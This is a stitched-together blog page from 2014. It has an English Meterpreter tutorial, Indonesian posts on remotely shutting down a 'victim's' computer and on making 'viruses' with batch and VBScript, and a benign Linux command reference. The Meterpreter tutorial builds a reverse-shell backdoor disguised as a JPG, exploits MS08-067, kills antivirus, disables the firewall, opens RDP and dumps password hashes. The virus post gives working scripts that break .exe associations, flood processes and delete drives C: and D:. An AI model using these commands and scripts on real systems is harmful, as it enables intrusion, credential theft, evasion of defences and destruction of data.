Tuesday, 27 May 2014

Tutor exploits Backtrack 5

Information security is a broad field and it involves the penetration testing and computer forensic as well, there are so many tools are available to perform the penetration testing on the target, Metasploit is one of the best tool among them. Meterpreter is a powerful feature of metasploit that uses DLL injection to communicate over the socket. Meterpreter works on the client-side by providing a powerful environment to communicate, to transfer files.


A meterpreter session can be established after successfully exploiting the host. Available meterpreter scripts on a metasploit database automate multiple processes, such as:

  • Capture the screen
  • Keylogging
  • File transfer
  • Service detection and more
Even with numerous meterpreter scripts available, you are free to write and to create your own script that is best suited to your work. Some important aspects about the meterpreter script would be:
  • Written in Ruby programming language
  • Located in the metasploit directory
  • Meterpreter scripts are creating everyday by different authors click here to check the list.
  • Meterpreter scripts are very helpful to automate the process after compromising the host
  • Meterpreter scripts are based on API and you can get more information here.
There are so many meterpreter scripts that are available publicly for you to use, but if you want to create a new meterpreter script of your own and for public usage, this is readily doable. All you need to do is to follow some rules and regulations so that your script does not conflict with the standard variables. Ruby programming language is a basic need in order to write a script for meterpreter. Other important rules to follow are:
  • Always use description so that the others will understand it
  • Use local variable not global variable
  • Always provide help option for better usage
  • Keep in mind the target host (operating system, service pack (if windows), Kernel (for Unix) ) while creating a script, because all the system’s software does not contain all types of vulnerabilities
Let us consider an example: in our scenario, we need to create an infected file (a backdoor) so that we can send it to the victim. Metasploit needn’t be that big of a deal; you can even create a backdoor by using fast-track.

root@bt:~/Desktop# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2
LPORT=4444 Desktop > test.jpg
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.1.2", "LPORT"=>"4444"}


As we have typed all the things in, we can automate the process by creating a new script:
root@bt:/pentest/exploits/framework3# touch a.rb
root@bt:/pentest/exploits/framework3# echo msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.2 LPORT=4444 Desktop > test.jpg
root@bt:/pentest/exploits/framework3# ruby a.rb
root@bt:/pentest/exploits/framework3#

The result is the same. It is also possible to create a jpg file but that method is fast. Since the time-consuming method is repeating the same step, why not create a script for that to do all these jobs automatically? There are different meterpreter scripts are available; just look at the picture below.


This is just one small example. Let’s create a script taking advantage of a vulnerability that will exploit an operating system:

root@bt:/pentest/exploits/framework3# touch test.rc
root@bt:/pentest/exploits/framework3# echo use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
root@bt:/pentest/exploits/framework3# echo set RHOST 192.168.1.6
set RHOST 192.168.1.6
root@bt:/pentest/exploits/framework3# echo exploit
exploit
root@bt:/pentest/exploits/framework3# msfconsole -r test.rc

Beyond this, if we use the manual technique to do then job, then we will need to define:
  • The exploit for this case (well I have used nessus before that is why I know the system is vulnerable to ms08-067-netapi bug)
  • We need to set the remote host manually
  • We need to set local host and port manually
After the execution, the meterpreter session must be active if and only if the operating system is vulnerable, such as in this case:


Now in this meterpreter session, we are able to call different scripts. We can also create our own script as well, as discussed above. Below, I will show you some of the best meterpreter scripts. These are highly useful in the process of penetration testing; however, developers are refining these scripts daily, so be active in the community and on different blogs and forums to keep yourself updated.

Screenspy Script

This is the basic script that will capture the screen of the victim’s computer. All you need to do is type in “run screenspy.” To get help of usage, just type in “run screenspy -h” on the meterpreter screen. After the execution, Firefox will open with a picture of the victim’s computer at that moment.

KillAv Script

Killav script is a pretty famous script. As the name suggests, it will kill (close) antivirus softwares, so if you don’t want that antivirus’ software to disturb you, be sure to kill all of these antivirus softwares by using this script:

meterpreter > run killav
  [*] Killing Antivirus services on the target...
  meterpreter >

Killav contains the information on most of the better known anti-virus’s, but if there is a new anti-virus, then you will need to edit this script for the best performance. As before with the script file, we can find the famous anti-virus exe name:
  • winppr32.exe
  • winrecon.exe
  • winservn.exe
  • winssk32.exe
  • winstart.exe
  • winstart001.exe
  • wintsk32.exe
  • winupdate.exe
  • wkufind.exe
  • wnad.exe
  • wnt.exe
  • wradmin.exe
  • wrctrl.exe
  • wsbgate.exe
  • wupdater.exe
  • wupdt.exe
  • wyvernworksfirewall.exe
  • xpf202en.exe
  • zapro.exe
  • zapsetup3001.exe
  • zatutor.exe
  • zonalm2601.exe
  • zonealarm.exe

Getcountermeasure Script

Killav is a power script and it can kill a lot of different anti-virus’s, but the problem is that when you implement killav, windows may show some types of errors and other alerts, not to mention firewalls. This is remedied by a wonderful script called Getcountermeasure:

meterpreter > run getcountermeasure -h
  Getcountermeasure -- List (or optionally, kill) HIPS and AV
  processes, show XP firewall rules, and display DEP and UAC
  policies

  OPTIONS:

  -d Disable built in Firewall
  -h Help menu.
  -k Kill any AV, HIPS and Third Party Firewall process found.

Just imagine how powerful this script is! It has an ability to fight against Firewall, Anti-virus, IPS and even third party firewall that are so very common nowadays. It is really better than Killav. To use it:

meterpreter > run getcountermeasure -d 

  [*] Running Getcountermeasure on the target...
  [*] Checking for contermeasures...
  [*] Getting Windows Built in Firewall configuration...
  [*]
  [*]     Domain profile configuration:
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Enable
  [*]     Exception mode = Enable
  [*]
  [*]     Standard profile configuration (current):
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Disable
  [*]     Exception mode = Enable
  [*]
  [*]     Local Area Connection firewall configuration:
  [*]     -------------------------------------------------------------------
  [*]     Operational mode = Enable
  [*]
  [*] Disabling Built in Firewall.....
  [*] Checking DEP Support Policy...
Try to understand the power of this wonderful script: it will remove security logs as well look at the picture.

Gettelnet script

Telnet is one of the most famous services on the windows operating system. It will allow a remote connection, so if you want to open telnet on the victim’s computer for future use, then it is a good script to use. However, as an advance we can use SSH service for remote connection. We can also install netcat as a backdoor on a compromised host for future connections. Use this command to get more help
  meterpreter > gettelnet -h

There are a lot of different scripts are available but here we will discuss only the most important ones. These will help you to understand the network as well as help you for future connections:
Net Enum- Network Enumeration Script
Netenum is a network enumeration script that is a wonderful script for:
  • Domain Name for DNS Forward Lookup
  • To Perform DNS Forward Lookup on host list and domain
  • The target address range or CIDR identifier
  • To Perform DNS lookup of MX and NS records for a domain
  • To Perform Service Record DNS lookup for a domain
  • To Perform Ping Sweep on IP Range

Checkvm- Check Virtual Machine

Virtual machines are now an important part of enterprise network and most of the large (and even small) networks are using them. Checkvm is a script that will let you monitor the status of the victim, whether on virtual machine or not. It will also let you see the type of virtual machine. Here is the output of this case:

 meterpreter > run checkvm
  [*] Checking if target is a Virtual Machine .....
  [*] This is a Sun VirtualBox Virtual Machine
  meterpreter >

Virus Scan Bypass

Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder, adds it to exclusion list and sets it to run at startup. Though we have discussed two scripts that kill anti-virus protections, it is good to run different scripts to verify your attack.
  
  meterpreter > run virusscan_bypass -h

Enable RDP- Getgui

If you want a graphical user interface of the victim’s computer, then you need to open a service called RDP (remote desktop protocol):
  meterpreter > run getgui -e
  [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
  [*] Carlos Perez carlos_perez@darkoperator.com
  [*] Enabling Remote Desktop
  [*]     RDP is disabled; enabling it ...
  [*] Setting Terminal Services service startup mode

Hashdump

Last but not the least: I really don’t want to end this article without sharing hashdump, in case you want to secure password hashes from the victim for future use. In some cases, these hashes works on other platforms:

 meterpreter > run hashdump
  [*] Obtaining the boot key...
  [*] Calculating the hboot key using SYSKEY 374d90e7c3ff37a0d6064c461200ca22...
  [*] Obtaining the user list and keys...
  [*] Decrypting user keys...
  [*] Dumping password hashes...
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  HelpAssistant:1000:d298b9b7042eb51df888799802d50eee:fbd49eecf08b5a011f32c57a953b5a99:::
  SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:26b787a3004f92dd4d94d34db9863999:::
- See more at: http://www.ehacking.net/2012/05/metasploit-meterpreter-scripting.html#sthash.YNdE7cVj.dpuf

Monday, 26 May 2014

Cara mematikan komputer teman jarak jauh

Cara Mematikan Komputer Milik Orang Lain Dari Jarak Jauh

Cara Mematikan Komputer Milik Orang Lain Dari Jarak Jauh

            Selamat berjumpa kembali dengan saya Andika dari blog yang serba sederhana ini dan pada kesempatan kali ini saya akan berbagi tips kembali seputar dunia komputer untuk tips-tips seputar seo dan blog ditunggu saja ya di artikel berikutnya, dan pada artikel sebelumnya saya sudah berbagi tips seputar Cara Memperbaiki Komputer Hang atau Restart Sendiri dan Cara Mengetahui Spesifikasi Pada Komputer  dan pada kali ini saya hanya akan share tentang cara termudah menshutdown atau mematikan komputer orang lain dari tempat yang berbeda, untuk cara-caranya silahkan simak berikut ini:

1.Pada langkah pertama yang harus anda lakukan adalah silahkan klik start > menu RUN > lalu tuliskan cmd dan klik OK dan untuk pengguna windows 7 tahan logo windows+R maka akan muncul menu RUN seperti pada gambar dibawah ini:

Cara+Mematikan+Komputer+Orang+Lain+Dari+Jarak+Jauh+1

2.Setelah muncul windows system 32 cmd'nya lalu tuliskan shutdown -i agar lebih jelasnya silahkan perhatikan gambar dibawah ini, saya harap ketika anda melakukan tutorial ini komputer/PC anda dalam keadaan terkoneksi ke internet. jika anda sudah menuliskan shutdown -i silahkan klik enter.

Cara+Mematikan+Komputer+Orang+Lain+Dari+Jarak+Jauh+2

3.Pada bagian yang ketiga dimana jika anda melakukan cara yang kedua diatas sudah tepat seharusnya muncul seperti pada gambar dibawah ini, silahkan masukan IP Address korban yang komputernya akan i shutdown ingat...!!!! tutorial ini akan berjalan jika komputer korban terkoneksi ke internet, pada menu computer klik add lalu masukan IP Address korban untuk mendapatkan IP Address Korban anda bisa baca artikel tentang Cara Mudah Mengetahui IP Address Milik Orang Lain lalu pada what do you want these computer silahkan pilih dengan keinginan anda apakah komputer korban akan anda shutdown/dimatikan atau di restart, lalu silahkan isi waktu Shutdownnya apakah anda ingin menyetingnya 50 detik 40 detik 30 detik 1 jam 30 menit dan kebetulan tutorial ini menggunakan waktu 10 detik saja agar tidak terlalu lama, lalu isikan pesan yang akan anda tampilkan misal "maaf komputer anda akan dimatikan dalam waktu 10 detik" silahkan isi pesannya tergantung anda. jika sudah beres klik ok, dan tinggal tungg saja hasilnya, nah biar afdol trinya coba anda main internetan berdua sama teman anda untuk melakukan ujicobanya, kan jika sama teman IP Address'nya akan lebih mudah didapatkan.

Cara+Mematikan+Komputer+Orang+Lain+Dari+Jarak+Jauh+4

        Oke itulah tips kali ini tentang Cara Mematikan Komputer Milik Orang Lain Dari Jarak Jauh semoga tips ini bisa diambil pelajarannya agar anda bisa lebih waspada, bagaimanpun cara ini kurang baik dilakukan kebetulan saya sharekan mungkin anda prnah mengalami hal demikian, atas kunjungan dan perhatiannya saya selaku admin blog ini mengucapkan terima kasih.

Cara membuat Virus

1. Saya akan menjelaskan cara membuat virus menggunakan CMD : Buka program cmd nya melalui klik start - run - ketik cmd atau bisa melalui keyboard dengan mengetik key windows + R lalu ketik cmd dan dan tekan enter lalu ketikan script berikut di cmd "ASSOC.exe=.hank" tanpa tanda petik lalu tekan enter! nah, ini membuat program/aplikasi yang berexstensi .exe tidak mau jalan, seperti game, dll. Tapi tenang, ini bisa dikembalikan seperti semuala dengan cara buka cmd nya lagi lalu ketik "ASSOC.exe=EXEFILE" trik ini bisa untuk ngerjain teman sobat, ya cuma buat iseng-iseng.




2. Sekarang saya akan menjelaskan cara membuat virus menggunakan Notepad : Buka notepad nya melalui start - all programs - accessories - notepad kemudian ketik kode script berikut ke notepad : 
------



start

start

start

start

start

start

start

start

start

start

start

start



------
Nah, selanjutnya simpan di notepad dengan nama apa saja dengan exstensi .bat contoh : "eror.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files. Trik ini membuat komputer menjadi eror, karena akan membuka CMD yang banyak jika file "eror.bat" itu di buka.

3. Masih di notepad, sekarang saya akan jelaskan cara membuat notepad terbuka secara otomatis, silahkan ketik/ copas kode script berikut ke notepad :


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan di notepad dengan nama apa saja dengan exstensi .bat sama seperti yang tadi, contoh "eror.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files. Trik ini akan membuat notepad terbuka dengan sendirinya secara otomatis.

4. Masih menggunakan notepad, yang sekarang cara membuat tombol backspace menjadi eror menekan terus menerus secara otomatis, langsung saja copas/ketik kode script berikut ke notepad : 

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Simpan kode script tersebut di notepad dengan nama apa saja yang penting tidak lupa menuliskan exstensi .vbs contoh : "eror.vbs" tanpa tanda kutip dan Save As Type ganti menjadi Al Files. Trik ini membuat tombol backspace menjadi eror dan menekan dengan sendiri nya.

5. Masih menggunakan notepad, trik sekarang bisa membuat CD/DVD Room buka tutup dengan sendiri nya, langsung aja copas/ketik kode script berikut ke notepad : 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs contoh : "eror.vbs" dan Save As Type ganti menjadi All Files, maka akan bisa membuat CD/DVD Room buka tutup dengan sendirinya secara otomatis.

6. Trik kali ini bisa membuat Caps Lock menyala terus menerus tak terkendali, langsung saja copas/ketik kode script berikut di notepad : 

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika File ini di buka akan membuat Caps Lock menyala terus menerus.

7. Trik yang ke tujuh, membuat komputer menjadi shoutdown dengan kata lain mati, langsung saja ini script nya copas ke notepad : 

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika file ini di buka akan membuat komputer shoutdown atau mati.

8.Trik yang ini sama dengan trik yang nomor 7 hanya saja yang ini isi waktu, langsung saja copas/ketik kode script berikut ke notepad : 

@echo shutdown -s -t 1 -f 

Simpan kode script tersebut dengan nama bebas dan dengan exstensi .bat lain dengan trik yang no 7, contoh : "eror.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files, Maka jika file ini dibuka akan sama dengan no 7 yaitu membuat komputer Shoutdown, hanya saja yang membedakan adalah yang ini berisi waktu, lihat angka pada kode script tersebut yang berwarna biru, itu adalah waktu yang dibutuhkan untuk mematikan komputer, bisa di atur sesuai keinginan (1 = 1 detik)

9. Kali ini trik yang lumayan berbahaya, karena komputer akan dipenuhi oleh 100000000  

tourstart yang akan memenuhi layar monitor dan akan membuat komputer menjadi hang,  
untuk mengatasinya dapat mendelete semua tourstart tersebut atau langsung merestart 
komputer. Silahkan copas/ketik kode script berikut ke notepad : 

option explicit 
dim wshshell 
set wshshell=wscript.createobject(“wscript.shell”) 
dim x 
for x = 1 to 100000000 
wshshell.run “tourstart.exe” 
next

Simpan dengan nama bebas dan dengan exstensi .vbs contoh : "virus.vbs" tanpa tanda kutip dan Save As type ganti menjadi All Files. Pada angka yang saya beri wara biru, itu bisa di ganti sesuai keinginan, bisa dibuat menjadi 100 atau 1000 saja, dan begitu file ini dibuka akan membuat tourstart sesuai dengan angka yang ditulis pada kode tesebut,

10. Nah Yang terakhir ini, saya rasa paling berbayaha, karena dapat menghapus seluruh data di hardisk tanpa terkecuali, sehingga mau tidak mau ya harus instal ulang, langsung saja copas/ketik kode script berikut di notepad : 

@echo off
DEL C: -Y
DEL D: -Y

Simpan dengan nama bebas dan exstensi .bat contoh "virus.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files dan simpan , tapi JANGAN DIKLIK karena bisa berakibat fatal bagi komputer anda.

Oke..itulah beberapa cara membuat virus menggunakan notepad dan cmd, agar dapat dipergunakan dengan baik, dan agar sobat dapat berhati-hati jika melihat ada file di komputer sobat yang berexstensi .bat atau .vbs siapa tau teman atau orang dekat sobat iseng-iseng ngerjain...

Perintah Dasar Linux

Sumber Belajar Perintah Dasar

  1. Pertama – halaman manual perintah.
    • man <perintah> : menampilkan semua informasi tentang perintah.
    • <perintah> ­­help : menampilkan opsi yang tersedia dari sebuah perintah.
  2. Kedua – Buku dan Internet.

Perintah Penanganan File

mkdir - membuat direktori.
  • sintaks :
    mkdir [OPTION] DIRECTORY...
  • contoh :
    $ mkdir data
ls - menampilkan isi dari direktori.
  • sintaks :
    ls [OPTION]... [FILE]...
  • contoh :
    $ ls -ls
cd - berpindah direktori.
  • sintaks :
    cd [DIRECTORY]
  • contoh :
    $ cd data
pwd - menampilkan tempat direktori yang sedang dikerjakan.
  • sintaks :
    $ pwd
cp - mengcopy file dan direktori.
  • sintaks :
    cp [OPTION]... SOURCE DEST
  • contoh :
    $ cp sample.txt sample_copy.txt
    $ cp sample_copy.txt target_dir
mv - memindahkan atau merubah nama file.
  • sintaks :
    mv [OPTION]... SOURCE DEST
  • contoh :
    $ mv source.txt target_dir
    $ mv old.txt new.txt
rm -­ menghapus file atau direktori.
  • sintaks :
    rm [OPTION]... FILE...
  • contoh :
    $ rm file1.txt , rm ­rf some_dir
find - mencari file dalam sebuah direktori.
  • sintaks :
    find [OPTION] [path] [pattern]
  • contoh :
    $ find file1.txt, find ­name file1.txt
touch - Update waktu akses dan modifikasi setiap BERKAS ke waktu sekarang. Argumen FILE yang tidak ada menjadi ada kosong.
  • sintaks:
    touch [OPTION]... FILE...
  • contoh :
    $ touch done
file - menentukan jenis file.
  • sintaks:
    file [OPTION...] [FILE...]
  • contoh :
    $ file ubuntu-desktop.pdf
locate - menemukan atau mencari file.
  • sintaks :
    locate [OPTION]... FILE...
  • contoh :
    $ locate file1.txt
whereis - locate the binary, source, and manual page files for a command.
  • sintaks :
    whereis [-bmsu] [-BMS directory...  -f] filename...
  • contoh :
    $ whereis ssh

Pola

Pola adalah ungkapan yang menggambarkan satu set string yang digunakan untuk memberikan gambaran ringkas dari sebuah himpunan, tanpa harus daftar semua elemen. contoh : ab*cd cocok apa pun yang dimulai dengan ab dan diakhiri dengan cd dll.
$ ls *.txt
artinya mencetak semua file yang berekstensi .txt (file teks)

Pemrosesan Teks

cat - menggabungkan file dan cetak pada keluaran standar.
  • sintaks :
    cat [OPTION] [FILE]...
  • contoh :
    $ cat avatar.avi.001 avatar.avi.002 > avatar.avi
    $ cat readme.txt
echo - menampilkan baris teks.
  • sintaks :
    echo [OPTION] [string] ...
  • contoh :
    $ echo I love Indonesia
    $ echo $HOME
grep - mencetak baris yang cocok dengan pola.
  • sintaks :
    grep [OPTION] PATTERN [FILE]...
  • contoh :
    $ grep ­i apple sample.txt
wc - mencetak jumlah baris, kata, dan byte di file.
  • sintaks :
    wc [OPTION]... [FILE]...
  • contoh :
    $ wc file1.txt
sort - mengurutkan file teks baris.
  • sintaks :
    sort [OPTION]... [FILE]...
  • contoh :
    $ sort file1.txt
md5sum - compute and check MD5 message digest.
  • sintaks :
    md5sum [OPTION]... [FILE]...
  • contoh :
    $ md5sum LinuxMint-5-Fluxbox.iso > md5sums
    $ md5sum -c md5sums

Linux File Permissions

3 jenis file permission – read, write, execute 10 bit format dari perintah 'ls -­l' 1 2 3 4 5 6 7 8 9 10 file type owner group others contoh : drwxrw­r­­ owner berarti memiliki semua tiga hak akses, group mempunyai izin membaca dan menulis, others hanya mempunyai izin membaca. read - 4, write - 2, execute - ­1 contoh :
rwxrw­r­­   = 764

Sistem Administrasi

chmod - mengubah hak akses file.
  • sintaks :
    chmod [OPTION] [MODE] [FILE]
  • contoh :
    $ chmod 744 calculate.sh
chown - mengubah pemilik file dan group.
  • sintaks :
    chown [OPTION]... OWNER[:[GROUP]] FILE...
  • contoh :
    $ chown ugos myfile.txt
su - mengubah user ID atau menjadi super-user.
  • sintaks :
    su [OPTION] [LOGIN]
  • contoh :
    $ su ugos
    $ su
passwd - update token otentikasi pengguna.
  • sintaks :
    passwd [options] [LOGIN]
  • contoh :
    $ passwd ugos
who - menunjukkan siapa yang login.
  • sintaks :
    who [OPTION]
  • contoh :
    $ who

Managemen Proses

ps - laporan snapshot dari proses saat ini.
  • sintaks :
    ps [OPTION]
  • contoh :
    $ ps ax
kill - untuk membunuh proses (menggunakan mekanisme sinyal).
  • sintaks :
    kill [OPTION] pid
  • contoh :
    $ kill ­9 2275
lsusb - daftar perangkat USB.
  • sintaks :
    $ lsusb
jobs - menampilkan nama dan id latar belakang pekerjaan.
  • sintaks :
    $ jobs
top - tampilan tugas Linux.
  • sintaks :
    top -hv | -bcisSH -d delay -n iterations [-u user | -U user] -p pid [,pid ...]
  • contoh :
    $ top
clear - menghapus layar terminal.
  • sintaks :
    $ clear
free - menampilkan jumlah memori yang bebas dan digunakan dalam sistem.
  • sintaks :
    free [-b | -k | -m | -g] [-o] [-s delay ] [-t] [-V]
  • contoh :
    $ free -m

Arsip

tar - ke arsip file.
  • sintaks :
    tar [OPTION] DEST SOURCE
  • contoh :
    $ tar ­cvf original.tar original/
    $ tar -cpvf original.tar.gz original/
    $ tar ­xvf original.tar
    $ tar xjvf original.tar.bz2
    $ tar --lzma -xvf original.tar.lzma
bzip2 - kompresor blok-menyortir file.
  • sintaks :
    bzip2 [OPTION] FILE...
  • contoh :
    $ bzip2 original.mp3
    $ bzip2 -d original.mp3.bz2
zip - paket dan kompres (arsip) file.
  • sintaks :
    zip [OPTION] DEST SOURCE
  • contoh :
    $ zip -r original.zip original/
rar - arsip file dengan kompresi.
  • sintaks :
    rar <command> [-<switch 1> -<switch N>] archive [files...]
  • contoh :
    $ rar original.rar original
unzip - daftar, test dan ekstrak file yang dikompresi dalam sebuah ZIP archive.
  • sintaks :
    unzip [-Z] [-opts[modifiers]] file[.zip] [list] [-x xlist] [-d exdir]
  • contoh :
    $ unzip original.zip
unrar - daftar, test dan ekstrak file yang dikompresi dalam sebuah RAR archive.
  • sintaks :
    unrar <command> -<switch 1> -<switch N> <archive> <files...> <@listfiles...> <path_to_extract>
  • contoh :
    $ unrar -x original.rar
7z - Sebuah pengarsipan file dengan rasio kompresi tertinggi.
  • sintaks :
    7z <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
  • contoh :
    $ 7z e original.7z

Jaringan

ssh - SSH client (remote login program) “ssh adalah program untuk login ke mesin remote dan untuk mengeksekusi perintah pada mesin remote”.
  • sintaks :
    ssh [options] [user]@hostname
  • contoh :
    $ ssh ­-l guest 10.105.11.20
scp - secure copy (copy file program remote) “scp salinan file antara host pada jaringan”.
  • sintaks :
    scp [options] [[user]@host1:file1] [[user]@host2:file2]
  • contoh :
    $ scp file1.txt guest@ip_address:~/ 
ifconfig - mengkonfigurasi perangkat jaringan.
  • sintaks :
    ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
  • contoh :
    $ ifconfig
iwconfig - mengkonfigurasi perangkat jaringan nirkabel.
  • sintaks :
    iwconfig [interface]
  • contoh :
    $ iwconfig
wget - Downloader non-interaktif jaringan.
  • sintaks :
    wget [option]... [URL]...
  • contoh :
    $ wget -c http://repo.ugm.ac.id/iso/ubuntu/10.04/ubuntu-10.04-netbook-i386.iso 
netstat - Cetak koneksi jaringan, tabel routing, statistik interface, koneksi masquerade, dan keanggotaan multicast.
  • sintaks :
    netstat [-vWeenNcCF] [<Af>] -r
  • contoh :
    $ netstat
mtr - tool diagnostik jaringan.
  • sintaks :
    mtr [-hvrwctglspniu46] [--help] [--version] [--report]
  • contoh :
    $ mtr google.co.id
iftop - menampilkan penggunaan bandwidth pada sebuah perangkat ethernet oleh host.
  • sintaks :
    iftop -h | [-nNpbBP] [-i interface] [-f filter code] [-F net/mask]
  • contoh :
    # iftop -i eth0

File Systems

fdisk - partisi manipulator.
  • sintaks :
    fdisk [options] <disk>
  • contoh :
    # fdisk ­l
mount - mount file system.
  • sintaks :
    mount ­t type device dir
  • contoh :
    # mount /dev/sda5 /media/target
umount - unmount file system.
  • sintaks :
    umount [OPTIONS] dir | device...
  • contoh :
    # umount /media/target
du - estimasi sintaks kapasitas file.
  • sintaks :
    du [OPTION]... [FILE]...
  • contoh :
    $ du -h
df - diskfile, laporan sintaks kapasitas hardisk.
  • sintaks :
    df [OPTION]... [FILE]...
  • contoh :
    $ df -h
eject - eject removable media
  • sintaks :
    eject [OPTION]
  • contoh :
    $ eject
    $ eject -t

Editor perintah

nano - Nano, editor lainnya, yang bebas disempurnakan Pico clone.
  • sintaks:
    nano [OPTIONS] [[+LINE,COLUMN] FILE]..
  • contoh :
    $ nano readme.txt
pico - sebuah program editor teks yang ditingkatkan.
  • sintaks:
    pico [OPTIONS] [[+LINE,COLUMN] FILE]..
  • contoh :
    $ pico readme.txt
vi - program text editor.
  • sintaks :
    vi [OPTION] [file]...
  • contoh :
    $  vi hello.c
vim - Vi Improved, program text editor.
  • sintaks :
    vim [OPTION] [file]...
  • contoh :
    $  vim hello.c

Perintah Advanced

reboot - reboot sistem.
  • sintaks :
    reboot [OPTION]
  • contoh :
    # reboot
halt - shutdown komputer.
  • sintaks :
    # halt
shutdown - shutdown komputer.
  • sintaks :
    shutdown [OPTION]
  • contoh :
    # shutdown -h now
sed - stream editor untuk penyaringan dan mengubah teks.
  • sintaks :
    sed [OPTION] [input­file]...
  • contoh :
    $ sed 's/love/hate/g' loveletter.txt 
awk ­- pola scanning dan pengolahan bahasa.
  • contoh :
    $ awk ­F: '{ print $1 }' sample_awk.txt
watch - menjalankan program secara berkala, menunjukkan output fullscreen.
  • sintaks :
    watch [OPTION] <command>
  • contoh :
    $ watch lsusb
alias - membuat alias dari sebuah perintah.
  • sintaks:
    alias [name[=value] ... ]
  • contoh :
    $ alias dir='ls -l'
screen - layar manajer dengan emulasi terminal VT100/ANSI.
  • sintaks :
    screen [-opts] [cmd [args]]
  • contoh :
    $ screen -S ugos
lshw - list hardware.
  • sintaks :
    lshw [-format] [-options ...]
  • contoh :
    $ lshw -C network
dmidecode - DMI table decoder
  • sintaks :
    dmidecode [OPTIONS]
  • contoh :
    # dmidecode --type memory
uptime - menampilkan berapa lama sistem telah berjalan.
  • sintaks :
    $ uptime
split - membagi file menjadi potongan-potongan.
  • sintaks :
    split [OPTION]... [INPUT [PREFIX]]
  • contoh :
    $ split -b 200MB avatar.avi avatar.avi.
espeak - Sebuah perangkat lunak multi-lingual speech synthesizer.
  • sintaks :
    espeak [options] [<words>]
  • contoh :
    $ espeak -s 80 "Linux"
aplay - command-line perekam suara dan pemutar untuk driver soundcard ALSA.
  • sintaks :
    aplay [OPTION]... [FILE]...
  • contoh :
    $ aplay -l
    $ aplay donw.wav
arecord - command-line perekam suara untuk driver soundcard ALSA.
  • sintaks :
    arecord [OPTION]... [FILE]...
  • contoh :
    $ arecord -f cd -t raw | lame -x -r – out.mp3 
lsb_release - cetak distribusi informasi spesifik.
  • sintaks :
    lsb_release [options]
  • contoh :
    $ lsb_release -a
cal - menampilkan sebuah kalender.
  • sintaks :
    cal [-hjy] [[month] year]
  • contoh :
    $ cal 4 2011
date - mencetak atau mengatur tanggal dan waktu sistem.
  • sintaks :
    date [OPTION]... [+FORMAT]
  • contoh :
    # date 041520152011
    artinya Apr 15 8:15 2011
history - menampilkan perintah-perintah yang sudah digunakan.
  • sintaks :
    $ history
bc - kalkulator.
  • sintaks :
    bc [ -hlwsqv ] [long-options] [  file ... ]
  • contoh :
    $ bc